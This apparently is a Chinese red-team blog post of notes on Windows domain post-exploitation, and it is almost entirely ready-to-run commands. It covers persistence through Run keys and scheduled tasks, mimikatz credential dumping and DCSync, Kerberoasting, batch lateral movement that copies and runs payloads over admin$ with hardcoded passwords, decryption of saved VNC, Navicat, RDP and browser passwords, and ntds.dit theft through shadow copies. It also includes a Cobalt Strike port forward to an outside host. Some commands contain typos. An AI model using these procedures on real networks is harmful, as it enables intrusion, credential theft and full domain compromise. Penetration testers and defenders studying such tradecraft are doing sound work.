A9 Team 甲方攻防团队,成员来自安信、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
本文是一些笔者学习和打内网时的一些笔记,平时常用的内网信息收集的基础,如有一些修改之处,欢迎大佬们指点,大佬们忽喷。
0x001 内网收集使用wmic收集
注意事项:机器上线后,千万别急着去搞内网,应该先做维持机器权限并依托当前机器权限尽可能多的信息收集,迅速了解目标的大致网络结构和机器软件环境,为下一步继续渗入提供一些初期参考。
当维权之后,立马把这些机器文件浏览器数据全部翻个底朝天,包括像浏览器收藏夹及历史记录里的一些内网敏感资产的链接对我们同样有用。
查看安装的软件及版本和路径等信息wmic product get name,version
查看进程信息wmic process list brief
查看启动程序信息wmic startup get command,caption
查询本机服务信息wmic service list brief
查看进程信息wmic process list brief
查看启动程序信息wmic startup get command,caption
查看计划任务schtasks /query /fo LIST /v
列出或断开本地计算机与所连接的客户端之间的会话net session
查询端口列表netstat -ano
查看补丁列表systeminfo
使用wmic查看安装在系统的补丁 wmic qfe get Caption,Description,HotFixID,InstalledOn
查询本机共享列表 net share
使用wmic查找共享列表wmic share get name,path,status
查询路由表及所有可用接口的ARP
缓存表route printarp –a
查看进程列表和进程用户tasklist
查看是否在线query user
获取域信任nltest /domain_trusts
0x02 权限维持
1、加入注册表自启动
REG query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "SysDebug" /t REG_SZ /F /D "c:\windows\debug\SysDebug.exe"
REG delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "SysDebug" /f
0x03 收集存放在GPP目录的各类明文账号密码
net time /domain
net view ad
dir \\ad\NETLOGON
type \\ad\NETLOGON\xxxxxx
dir /s /a \\pcahq107.pcaphl.org\sysvol\*.xml
可能存在的目录:
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
groups\groups.xml
0x04 尝试抓取所有已控机器本地的系统明文账号密码/hash
mimikatz.exe privilege::debug
mimikatz sekurlsa::logonpasswords
0x05 低权限下信息收集
一般配置文件或者密码文件都是:pass.*,config.*,username.*,password.*
dir /c /s user.*,pass.*,config.*,username.*,password.*
for /r c:\ %i in (pass.*) do @echo %i
我们想要查找一个文件里有没有 user、pass 等字段内容,就可以使用这条命令:
findstr /c:"sa" /c:"root" /si *.txt
0x06 spn命令获取域内主机
1、使用spn命令获取域内主机(通过主机知道什么服务),远比直接Net view好用,如果有防火墙,这条命令也无法用。
setspn -T xxx.com -Q */* >spn.txt
2、对拉回来的spn文件进行处理,获取spn记录前面的主机名字
grep "CN=" 12.txt | awk -F "," {'print $1'} | awk -F "=" {'print $2'} > host.txt
也可以使用Seatbelt可以先大致搜索一遍单机信息。
0x07 快速获取当前域的所有用户,组,会话,机器,数据(BloodHound—应对简单目标倒是可以使用)
利用sharphound正常抓取数据,注意:直接使用sharphound抓取段时间势必会在当前机器上产生大量域内请求,会被某些态势感知标记风险,但如果单域规模不是很大,所以抓取也可以。
powershell-import /home/SharpHound.ps1
powershell Invoke-BloodHound-CollectionMethod ALL
download
0x08 获取域内的所有域控位置和域管列表
不要直接以本地的administrator权限在域内机器上执行域查询,必须先提到system才能和域控进行正常通信,否则就会提示拒绝访问。
net group "domain admins" /domain
net group "domain controllers" /domain
0x09 快速获取当前域内所有服务用户票证hash
快速获取当前域内所有服务用户列表,如使用vbs脚本,其实就是逐个遍历看哪些SPN是直接注册在某个域用户上的。
如工具:GetUserSPN.vbs脚本跟Rubeus工具:
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
https://github.com/GhostPack/Rubeus
cscript GetUserSPNs.vbs
Rubeus.exe kerberoast
0x10 高效的进行内网存活探测及敏感资产收集分析
1、SMB扫描,专门用于快速发现内网win,弊端就是段时间会发生大量的SMB流量
2、同样也是基于smb,比如批量smb,wmi口令探测、远程抓明文/hash(包括启用/关闭wdigest),wmi查询,shellcode注入等。
3、socks5+msf(smb_version模块)
一个小tips:可以在扫描过程中,可以把前面已经发现的一些内网段都事先放到指定文件,然后让msf直接从文件去读取目标IP列表就好了。
4、基于上面的spn记录中所有机器名,批量提取后再逐个ping,以此快速探测域内存活主机。
grep "CN=" 12.txt | awk -F ',' {'print $1'} | awk -F '=' {'print $2'} > host.txt
tali -n 30 host.txt
for /f "delims=" %i in (路径) do @ping -w 1 -n 1 %i | findstr /c:".xxxxx.com" >> 路径
tasklist | findstr "ping.exe"
egrep -i 'sql|file|vpn|mail|smtp|pop|imap|web|share|monitor|erploa|login|print|server|vcebter|vm' host_res.txt
5、批量识别目标外网域名所对应的真实内网IP,此主要用于快速准备识别内网中各个业务服务器的准确位置。
在外网收集的domian可以拿到内网上进行ping测试。
awk -F " "{'print $1'}domain.txt > domains.txt
for /f "delims=" %i in (路径) do @ping -w 1 -n 1 %i | findstr /c:"[10." >> 路径
0x11 大规模快速获取内网所有web服务banner(主要针对C段)
fscan.exe -h xxxxxxx -p 80,81..............
for /f "delims=" %i in (路径) do fscan.exe -h %i -p 80,81,82.........
tasklist | findstr "fscan.exe"
做批处理的时候 记得做好延迟,不然容易被封
0x12 对目标所有内网段进行批量smb弱口令探测
for /f "delims=" %i in (路径) do SysLog.exe -h %i user.txt pwd.txt >> sys.logs
查看远程IP进程列表
tasklist /s 192.168.128.128 /u "jack" /p "2021.com"
0x13两种常用的windows横向渗透:
1、系统内置的wmic尝试远程执行payload,前提要开135端口,如果存在防火墙,可以使用schtasks
net use \\ip\admin$ /user:"账号" "密码"
copy SysDebug.exe \\IP\admin$\debug\
wmic /node:"ip" /user:"账号" /password:"密码" PROCESS call create "c:\windows\debug\SysDebug.exe"
del \\IP\admin$\debug\SysDebug.exe /F
net use \\IP\admin$ /del
自启动:
REG query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CueentVersion\Run" /V "SysDebug" /t REG_SZ /F /D "c:\windows\木马"
reg delete " HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "SysDebug" /f
计划任务
schtasks /create /RL HIGHEST /F /tn "SysDebug" /tr "c:\windows\debug.exe" /sc DAILY /mo 1 /ST 10:00 /RU SYSTEM
schtasks /query | findstr "SysDebug"
schtasks /run /tn "SysDebug"
schtasks /delete /F /tn "SysDebug"
schtasks /tn "SysDebug" /query /fo list /v
另外一种横向就是利用内置的Schtasks创建计划任务远程执行payload,通常用在wmi端口445。
schtasks /create /s "tagetip" /u "user" /p "pwd" /RL HIGHEST /F /tn "SysDebug" /tr "c:\windows\debug.exe" /sc DAILY /MO 1 /ST 08:25 /RU SYSTEM
schataks /query /s "IP" /U "账号" /P "密码" | findstr "SysDebug"
schtasks /run /tn SysDebug /s "IP" /U "账号" /P "密码"
schtasks /delete /F /tn SysDebug /s "IP" /U "账号" /P "密码"
0x14 批量抓密码
最好不要在system权限下操作,最好通过进程注入切到这个域管用户权限
1、基本纯手工远程密码/hash抓取
windows远程执行用的最多就是wmic跟schtasks,但是wmi可能会被防火墙拦截,我们就用schtasks来尝试批量远程抓明文/ hash (下面命令延时了1秒,实战中可能多一点)
for /f %i in (ip.txt) do net use \\%i\admin$ /user:"jack" "2021.com" & if %errorlevel% equ 0 (copy mini.exe \\%i\admin$\debug\ /Y) & schtasks /create /s "%i" /u "jack" /p "2021.com" /RL HIGHEST /F /tn "SysDebug" /tr "cmd /c cd c:\windows\debug & mini.exe privilege::debug sekurlsa::logonpasswords exit > test.log" /sc DAILY /mo 1 /ST 07:25 /RU SYSTEM & schtasks /run /tn SysDebug /s "%i" /U "jack" /P "2021.com" & schtasks /delete /F /tn SysDebug /s "%i" /U "jack" /P "2021.com" & @ping 127.0.0.1 -n 1 >nul & move \\%i\admin$\debug\test.log C:\Users\Public\%i.log & del \\%i\admin$\debug\mini.exe /F & net use \\%i\admin$ /del
查看是否存在计划
SCHTASKS /Query /S ip /U 账号 /P "密码"
wmic远程批量抓取hash
for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "2021.com" & if %errorlevel% equ 0 ( copy mini.exe \\%i\admin$\debug\ /Y) & wmic /NODE:"%i" /user:"administrator" /password:"2021.com" PROCESS call create "cmd.exe /c cd c:\windows\debug & mini.exe privilege::debug sekurlsa::logonpasswords exit > c:\windows\debug\test.log" & @ping 127.0.0.1 -n 3 >nul & move k\\%i\admin$\debug\test.log C:\Users\Public\%i.log & del \\%i\admin$\debug\mini.exe /F & del \\%i\admin\$debug\test /F & net use \\%i\admin$ /del
当拿到域管理员后,尝试登录是否成功:
mimikatz !privilege::debug
mimikatz !sekurlsa::logonpasswords
dir \\IP\admin$\debug
net use \\IP\admin$ /user:"xxxx\adadmin" "密码"
0x15 搜集所有已控机器上的各类明文密码
注意:此处包含大量的在线/离线密码解密技巧
1、离线解密Vnc密码
Vnc密码默认是加密存在注册表中
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
vncpwdump.exe解密
2、离线解密当前机器Navicat中保存的各类数据库密码
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd
NavicatCryptoHelper.py
如遇到只能localhost本地连接的,可以在本地装个mysql,然后把安装目录mysql.exe和libmySQL.dll单独提取出来放进去,再通过非交互执行sql。
mysql -h localhost -uroot -p密码 -e "select * from mysql.user\G";
如果机器本身装有mysql,可以直接到它的安装目录下执行。
3、导出保存在系统密码管理器中的rdp明文连接密码
cmdkey /l
start dump.exe /stext rdppwd.txt
type rdppwd.txt
4、解密浏览器客户端保存的各类明文邮箱账号密码
mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Dtaa" /unprotectmimikatz
火狐默认保存位置:
dir %appdata%\Mozilla\Firefox\Profiles\
dir %appdata%\Moziila\Firefox\Profiles\xxxx.default
解密记得先看下系统有没有firefox进程在,能不能把它kill后打包拖回来。
tasklist | findstr "firefox.exe"
7z.exe -r -padmin123 a (目标目录) (需要打包路径)\*.*
python firefox_decrypt.py 目标
也可以直接用一键抓取工具,但是建议最好用手工搞
当目标用的是w8和w12r2以上版本只能抓取ntlm hash,这种批量hash传递方式最常用两种:
1、直接把crackmapexec丢到目标去跑,主要是为了应对部分脱网环境
2、利用msf通过socks挂到目标内网再用smb_login去批量跑(比较吃网络环境)
0x16 按getshell的难易程度来分批次对目标内网各类基础服务进行批量弱口令探测
1、首先尝试对目标内网的所有mssql服务器进行批量弱口令探测(注意,实战用到哪个端口扫哪个,不然机器流量过大容易被发现)(mssql)
2、尝试对目标内网的所有mysql进行弱口令探测(3306)
3、尝试对目标内网所有ssh进行批量弱口令探测(22)
4、尝试对目标内网所有oracle进行批量弱口令探测(1521)
5、尝试对内网所有vnc进行批量弱口令探测(5900)
6、尝试对目标内网的所有redis进行批量弱口令探测
7、尝试对目标的所有ftp进行批量弱口令探测
8、针对各类基础邮件服务器弱口批量探测
for /f "delims=" %i in(mysql.txt) do fscan.exe -hf %i -p 22,1521,5900,.......-userf sa -pwdf pwd.txt
0x17 基于前面已有的各类系统管理员账号密码,大规模批量获取远程机器上的所有进程列表
首先搞清楚为什么去批量获取远程机器上的进程列表。
1、我们可以通过这种方式快速发现在内网的哪些机器上存在目标域管进程,后期可以单独针对这些机器来渗入【抓取域管明文密码】,通过进程注入或者令牌伪造直接切到域管权限去远程执行各种操作。
2、可以通过这种方式快速发现一些存在各类运维常用工具进程的机器【xshell,xfrp,navicat,chrome,svn,filezila,secureCrt,forxmail等等等....】,后续可以单独针对这些机器中这些工具所保存的各类账号密码hash进行离线解密,在进行一系列横向扩展
3、发现各种杀软、EDR、常规监控一些进程,针对这些进行做免杀
4、比如目标可能是某个指定域用户的个人机权限,现在通过批量抓取进程列表发现在内网某台机器上已经存在这个目标用户的进程,后续只需要再单独去搞这台机器就好了。
for /f %i in (ip.txt) do echo %i >> process.txt & tasklist /s %i /u ".\administrator" /p "密码" /V /FO CSV >> process.txt
download process.txt
快速过滤出你感兴趣的进程和对应的IP【机器名】
egrep "cily|adadmin|adadmin02|xxxx-igrp|leagsoft|shenluyan|xiefp|wulh|sunyingyun|zhangx" process.txt
0x18 基于上面已有的各种账号密码开始大规模的横向搜集。
schtasks /create /s "tagetip" /u "user" /p "pwd" /RL HIGHEST /F /tn "SysDebug" /tr "c:\windows\debug.exe" /sc DAILY /MO 1 /ST 08:25 /RU SYSTEM
schtasks /run /tn SysDebug /s "域名\用户" /P "密码"
schtasks /query /s "IP" /U "域名\用户" /P "密码" | findstr "SysDebug"
schtasks /delete /F /tn SysDebug /s "IP" /U "域名\用户" /P "密码"
基于一句话批量试试:
for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "IT1231" &
if %errorlevel% equ 0 ( copy SysDug.exe \\%i\admin$\debug\ /Y) &wmic /NODE:"%i"
/user:"administrator" /password:"IT1231" PROCESS call create "c:\windows\debug\SysDug.exe" &
@ping 127.0.0.1 -n 8 >nul & net use \\%i\admin$ /del
0x19 针对内网部分"脱网机"反向beacon上线
解决方案:
1、正向shell,就是在远程目标机器上线起个端口,我主动去连。
2、通过当前已控能正常出网的跳板机,把shell流量先叹到这个跳板机上然后通过跳板机上执行端口转发将shell流量转发出去,最终实现反向上线效果。
弊端:一旦中间这台跳板机的shell掉了,那么挂载这台跳板机上的所有机器也全掉了,所以在如何选择跳板机上需要特别慎重,最好选一些不会有人经常操作注意,但又不怎么关机的机器作为跳板机。除此之外就是防火墙问题,由于可以直接挂到socks远程执行命令。(netsh可以kill掉防火墙)
cs中转站命令:
rportfwd 8080 ms.vimers.net 80
0x20 远程导出xxxx.com域控ntds.dit
1、从各种横向动作发现机器上出现了xxxx域的某个域管用户的进程
2、尝试注入到此域管用户进程中,直接利用dcsync特性远程导出xxx域内所有用户密码hash即可。
mimikatz "lsadump::dcsync /domian:xxxx.com /all /csv" "exit" > ntds.txt
寻找ntds.dit
vssadmin create shadow /for=c:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy85\windows\ntds\ntds.dit c:\ntds.dit
vssadmin delete shadows /for=c: /quiet
0x21 远程导出xxx.com域内完整ldap数据库
wmiexec.exe xxxx/adadmin:"密码"@ip "LDIFDE -f c:\windows\debug\dump.ldf -n -m"
move \\ip\admin$\debug\dump.ldf c:\users\public
ldap中存有当前域中每个用户完整数据,平时域渗透过程可以顺手一并导出来,方便后续大数据操作。
0x22 远程导出xxxx.com域控中所有域用户的成功登录日志记录
upload EventLog.exe
move EventLog.exe \\ip\admin$\debug\
wmic /node:ip PROCCESS call create "c:\windos\debug\login.bat"——>
c:/windows/debug/EventLog.exe -4624 >> c:\windos\debug\login.txt
通过这种方式快速锁定我们目标用户,哪个域用户从域内哪台机器上登录的就一目了解。
move \\ip\admin$\debug\login.txt c:\users\public
del \\ip\admin$\debug\EventLog.exe /F
download login.txt